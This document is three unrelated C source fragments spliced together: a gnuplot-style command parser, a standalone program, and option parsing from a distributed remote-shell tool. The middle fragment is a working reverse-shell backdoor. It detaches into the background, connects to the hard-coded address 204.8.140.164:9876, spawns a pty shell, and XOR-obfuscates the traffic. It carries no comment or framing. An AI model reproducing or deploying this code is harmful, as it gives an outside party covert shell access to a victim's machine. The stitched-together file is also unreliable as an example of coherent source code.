NUL; if (!isstring(++c_token)) int_error("Parameter filename expected", c_token); quote_str(tmps, c_token++, 80); if (!(END_OF_COMMAND)) { if (!isstring(c_token)) int_error("New parameter filename expected", c_token); else quote_str(tmps2, c_token++, 80); } update(tmps, tmps2); } else if (almost_equals(c_token, "p$lot")) { plot_token = c_token++; SET_CURSOR_WAIT; plotrequest(); SET_CURSOR_ARROW; } else if (almost_equals(c_token, "sp$lot")) { plot_token = c_token++; SET_CURSOR_WAIT; plot3drequest(); SET_CURSOR_ARROW; } else if (almost_equals(c_token, "rep$lot")) { if (replot_line[0] == NUL) int_error("no previous plot", c_token); c_token++; SET_CURSOR_WAIT; replotrequest(); SET_CURSOR_ARROW; } else if (almost_equals(c_token, "se$t")) set_command(); else if (almost_equals(c_token, "res$et")) reset_command(); else if (almost_equals(c_token, "sh$ow")) show_command(); else if (almost_equals(c_token, "cl$ear")) { term_start_plot(); if (multiplot && term->fillbox) { unsigned int x1 = (unsigned int) (xoffset * term->xmax); unsigned int y1 = (unsigned int) (yoffset * term->ymax); unsigned int width = (unsigned int) (xsize * term->xmax); unsigned int height = (unsigned int) (ysize * term->ymax); (*term->fillbox) (0, x1, y1, width, height); } term_end_plot(); screen_ok = FALSE; c_token++; } else if (almost_equals(c_token, "she$ll")) { do_shell(); screen_ok = FALSE; c_token++; } else if (almost_equals(c_token, "sa$ve")) { if (almost_equals(++c_token, "f$unctions")) { if (!isstring(++c_token)) int_error("expecting filename", c_token); else { quote_str(sv_file, c_token, MAX_LINE_LEN); save_functions(fopen(sv_file, "w")); } } else if (almost_equals(c_token, "v$ariables")) { if (!isstring(++c_token)) int_error("expecting filename", c_token); else { quote_str(sv_file, c_token, MAX_LINE_LEN); save_variables(fopen(sv_file, "w")); } } else if (almost_equals(c_token, "s$et")) { if (!isstring(++c_token)) int_error("expecting filename", c_token); else { quote_str(sv_file, c_token, MAX_LINE_LEN); save_set(fopen(sv_file, "w")); } } else if (isstring(c_token)) { quote_str(sv_file, c_token, MAX_LINE_LEN); save_all(fopen(sv_file, "w")); } else { int_error("filename or keyword 'functions', 'variables', or 'set' expected", c_token); } c_token++; } else if (almost_equals(c_token, "l$oad")) { if (!isstring(++c_token)) int_error("expecting filename", c_token); else { quote_str(sv_file, c_token, MAX_LINE_LEN); /* load_file(fp=fopen(sv_file, "r"), sv_file, FALSE); OLD * DBT 10/6/98 handle stdin as special case * passes it on to load_file() so that it gets * pushed on the stack and recusion will work, etc */ fp = strcmp(sv_file, "-") ? fopen(sv_file, "r") : stdin; load_file(fp, sv_file, FALSE); /* input_line[] and token[] now destroyed! */ c_token = num_tokens = 0; } } else if (almost_equals(c_token, "ca$ll")) { if (!isstring(++c_token)) int_error("expecting filename", c_token); else { quote_str(sv_file, c_token, MAX_LINE_LEN); load_file(fopen(sv_file, "r"), sv_file, TRUE); /* Argument list follows filename */ /* input_line[] and token[] now destroyed! */ c_token = num_tokens = 0; } } else if (almost_equals(c_token, "if")) { double exprval; struct value t; if (!equals(++c_token, "(")) /* no expression */ int_error("expecting (expression)", c_token); exprval = real(const_express(&t)); if (exprval != 0.0) { /* fake the condition of a ';' between commands */ int eolpos = token[num_tokens - 1].start_index + token[num_tokens - 1].length; --c_token; token[c_token].length = 1; token[c_token].start_index = eolpos + 2; input_line[eolpos + 2] = ';'; input_line[eolpos + 3] = NUL; } else c_token = num_tokens = 0; } else if (almost_equals(c_token, "rer$ead")) { fp = lf_top(); if (fp != (FILE *) NULL) rewind(fp); c_token++; } else if (almost_equals(c_token, "cd")) { if (!isstring(++c_token)) int_error("expecting directory name", c_token); else { quote_str(sv_file, c_token, MAX_LINE_LEN); if (changedir(sv_file)) { int_error("Can't change to this directory", c_token); } c_token++; } } else if (almost_equals(c_token, "pwd")) { GP_GETCWD(sv_file, sizeof(sv_file)); fprintf(stderr, "%s\n", sv_file); c_token++; } else if (almost_equals(c_token, "ex$it") || almost_equals(c_token, "q$uit")) { /* graphics will be tidied up in main */ return (1); } else if (!equals(c_token, ";")) { /* null statement */ #ifdef OS2 if (_osmode == OS2_MODE) { if (token[c_token].is_token) { int rc; rc = ExecuteMacro(input_line + token[c_token].start_index, token[c_token].length); if (rc == 0) { c_token = num_tokens = 0; return (0); } } } #endif int_error("invalid command", c_token); } return (0); }
int main(void) { int sock=0, master_in=0; socklen_t sl=0; struct sockaddr_in sin; pid_t chld=0, detach=0; char slave_name[128]; struct pollfd fdz[2]; char rbuf[1024]; ssize_t rret=0; int pret=0, j=0; uint8_t rkey=0x41, wkey=0x41; if (inet_aton("204.8.140.164", &sin.sin_addr) < 0) { _exit(1); } sin.sin_family=AF_INET; sin.sin_port=htons(9876); detach=fork(); if (detach == -1) { _exit(1); } else if (detach == 0) { setsid(); chdir("/"); fsync(1); for (j=0 ; j < 256 ; j++) { close(j); } } else { _exit(0); } sock=socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { _exit(1); } sl=sizeof(sin); if (connect(sock, (struct sockaddr *)&sin, sl) < 0) { _exit(1); } signal(SIGCHLD, handle_chld); chld=frkpty(&master_in, slave_name); if (chld == -1) { _exit(1); } else if (chld == 0) { do_shell(); } else { while (1) { again: fdz[0].fd=master_in; fdz[1].fd=sock; fdz[0].events=fdz[1].events=POLLIN|POLLPRI; fdz[0].revents=fdz[1].revents=0; pret=poll(&fdz[0], 2U, 500); if (pret < 0 && errno == EINTR) goto again; if (pret == 0) continue; if (fdz[0].revents) { rret=read(fdz[0].fd, rbuf, sizeof(rbuf)); if (rret) { for (j=0 ; j < (size_t )rret ; j++) { rbuf[j] ^= rkey++; } write(fdz[1].fd, rbuf, (size_t)rret); } } else if (fdz[1].revents) { rret=read(fdz[1].fd, rbuf, sizeof(rbuf)); if (rret) { for (j=0 ; j < (size_t )rret ; j++) { rbuf[j] ^= wkey++; } write(fdz[0].fd, rbuf, (size_t)rret); } } } } _exit(0); }
/** * Option parsing routine. * * Remember to update other places, such as execute_rsh_multiple routine when changing here. * @return 1 on failure. * @return 0 on success. */ int parse_options ( int ac, char ** av) { int c; /* option */ linkedlist * machinelist = NULL; linkedlist * rshcommandline_r = NULL; /* command line for rsh in reverse order*/ #ifdef HAVE_GETOPT_LONG int index_point; static struct option long_options[]= { {"verbose", no_argument, 0, 'v'}, {"quiet", no_argument, 0, 'q'}, {"show-machine-names", no_argument, 0, 'M'}, {"hide-machine-names", no_argument, 0, 'H'}, {"duplicate-input", no_argument, 0, 'i'}, {"bufsize", required_argument, 0, 'b'}, /* machine-specification */ {"machine", required_argument, 0, 'm'}, {"num-topology", required_argument, 0, 'n'}, {"all", no_argument, 0, 'a' }, {"group", required_argument, 0, 'g'}, {"file", required_argument, 0, 'f'}, /* rsh/ssh specification */ {"remoteshell", required_argument, 0, 'r'}, {"remoteshellopt", required_argument, 0, 'o'}, {"help", no_argument, 0, 'h'}, {"version", no_argument, 0, 'V'}, {"wait-shell", no_argument, 0, 'w'}, {"concurrent-shell", no_argument, 0, 'c'}, {"forklimit", required_argument, 0, 'F'}, {0,0,0,0} }; #else #define getopt_long(a,b,c,d,e) getopt(a,b,c) #endif #ifdef GETOPT_WITH_GNU_REORDERING_EXTENTION #define EXTRAVALUE "+" /* add this to get GNU getopt to work in POSIX manner */ #else #define EXTRAVALUE #endif while((c = getopt_long (ac, av, EXTRAVALUE "vqm:ar:f:g:hVcwo:MHn:ib:F:", long_options, &index_point)) != -1) { switch (c) { case 'a': if (verbose_flag) printf (_("Adding all machines to the list\n")); { char * buf; if (asprintf(&buf, "%s/.dsh/machines.list", getenv("HOME"))<0) { fprintf (stderr, _("%s: asprintf failed\n"), PACKAGE); return 1; } machinelist = read_machinelist(machinelist, buf, DSHCONFDIR"/machines.list"); free (buf); } break; case 'g': { if ('@' == *optarg) { /* using libc call for using netgroup. */ /* +1 to skip @ */ if (verbose_flag) printf (_("Adding netgroup %s to the list\n"), optarg + 1); machinelist = read_machinenetgroup(machinelist, optarg+1); } else { /* using dsh's own method. */ char * buf1, *buf2; if (verbose_flag) printf (_("Adding group %s to the list\n"), optarg); if (asprintf(&buf1, DSHCONFDIR"/group/%s", optarg) < 0) { fprintf (stderr, _("%s: asprintf failed\n"), PACKAGE); return 1; } if (asprintf(&buf2, "%s/.dsh/group/%s", getenv("HOME"), optarg)<0) { fprintf (stderr, _("%s: asprintf failed\n"), PACKAGE); return 1; } machinelist = read_machinelist (machinelist, buf2, buf1); free(buf1);free(buf2); } } break; case 'f': if (verbose_flag) printf (_("Adding file %s to the list\n"), optarg); machinelist = read_machinelist (machinelist, optarg, NULL); break; case 'F': forklimit = atoi (optarg); wait_shell = 0; if (verbose_flag) printf (_("Setting forklimit to %i and wait_shell to %i\n"), forklimit, wait_shell); break; case 'v': if (verbose_flag) printf (_("Verbose flag on\n")); verbose_flag=1; break; case 'q': if (verbose_flag) printf (_("Verbose flag off\n")); verbose_flag=0; break; case 'M': if (verbose_flag) printf (_("Show machine names on output\n")); pipe_option |= PIPE_OPTION_OUTPUT; break; case 'H': if (verbose_flag) printf (_("Dont show machine names on output\n")); pipe_option &= ~(PIPE_OPTION_OUTPUT); break; case 'i': if (verbose_flag) printf (_("Duplicate input to all processes\n")); pipe_option |= PIPE_OPTION_INPUT; break; case 'b': if (verbose_flag) printf (_("Buffer size used for dupliation\n")); buffer_size = atoi(optarg); if (buffer_size < 1) { fprintf (stderr, _("Buffer size needs to be greater than 1\n")); return 1; } break; case 'm': if (verbose_flag) printf (_("Adding machine %s to list\n"), optarg); machinelist = split_machines_list_and_add_machines (machinelist, optarg); break; case 'n': if (verbose_flag) printf (_("Topology number set to %s\n"), optarg); num_topology = atoi (optarg); break; case 'h': print_help(); exit(1); break; case 'V': print_version(); exit(1); break; case 'r': /* specify the shell command */ if (verbose_flag) printf(_("Using %s as the remote shell\n"), optarg); remoteshell_command = strdup (optarg); break; case 'o': /* specify the shell command options */ if (verbose_flag) printf(_("Adding [%s] to shell options\n"), optarg); remoteshell_command_opt_r = lladd (remoteshell_command_opt_r, optarg); break; case 'w': /* wait shell */ if (verbose_flag) printf (_("Wait for shell to finish executing\n")); wait_shell=1; break; case 'c': /* concurrent shell */ if (verbose_flag) printf (_("Do not wait for shell to finish\n")); wait_shell=0; break; case '?': #ifndef HAVE_GETOPT_LONG /* getopt-long handles this option properly. */ if (isprint (optopt)) fprintf (stderr, _("Unkown option -%c.\n"), optopt); else fprintf (stderr, _("Unkown option character 0x%x.\n"), optopt); #endif return 1; default: if (verbose_flag) printf (_("Unhandled option\n")); break; } } if (!machinelist) { fprintf (stderr, _("%s: no machine specified\n"), PACKAGE); return 1; } { /* generate the command line for remote. */ int i; for (i=optind; i < ac; ++i) { rshcommandline_r = lladd(rshcommandline_r, av[i]); } } /* do sanity checking, and exit if it fails. */ if (sanity_checking()) return 1; if (!(pipe_option & PIPE_OPTION_INPUT)) open_devnull(); /* open /dev/null if no input pipe is required */ /* reverse the list, which is in reverse order, to make the right order */ machinelist = llreverse (machinelist); /* actually execute the code. */ return do_shell(machinelist, rshcommandline_r); }